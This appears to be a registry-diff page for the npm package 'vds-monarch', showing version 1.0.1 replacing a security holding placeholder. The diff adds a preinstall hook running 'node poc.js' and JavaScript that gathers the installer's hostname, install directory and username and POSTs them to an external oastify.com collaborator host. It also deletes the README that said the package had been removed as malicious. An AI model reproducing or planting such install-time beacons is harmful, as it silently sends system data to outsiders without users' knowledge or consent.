vds-monarch 0.0.1-security → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of vds-monarch might be problematic. Click here for more details.
- package/package.json +8 -3
- package/poc.json +23 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "vds-monarch",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.1",
|
|
4
|
+
"description": "vds-monarch",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node poc.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Mark",
|
|
10
|
+
"license": "MIT"
|
|
6
11
|
}
|
package/poc.json
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
|
|
4
|
+
// Replace with your Burp Collaborator or Webhook.site URL
|
|
5
|
+
const trackingUrl = 'https://y76j8tsuaxsjtojgzv1imvh39ufl3cw0l.oastify.com';
|
|
6
|
+
|
|
7
|
+
const data = JSON.stringify({
|
|
8
|
+
package: "vds-monarch",
|
|
9
|
+
hostname: os.hostname(),
|
|
10
|
+
directory: __dirname,
|
|
11
|
+
user: os.userInfo().username
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
const req = https.request(trackingUrl, {
|
|
15
|
+
method: 'POST',
|
|
16
|
+
headers: {
|
|
17
|
+
'Content-Type': 'application/json',
|
|
18
|
+
'Content-Length': data.length
|
|
19
|
+
}
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
req.write(data);
|
|
23
|
+
req.end();
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=vds-monarch for more information.
|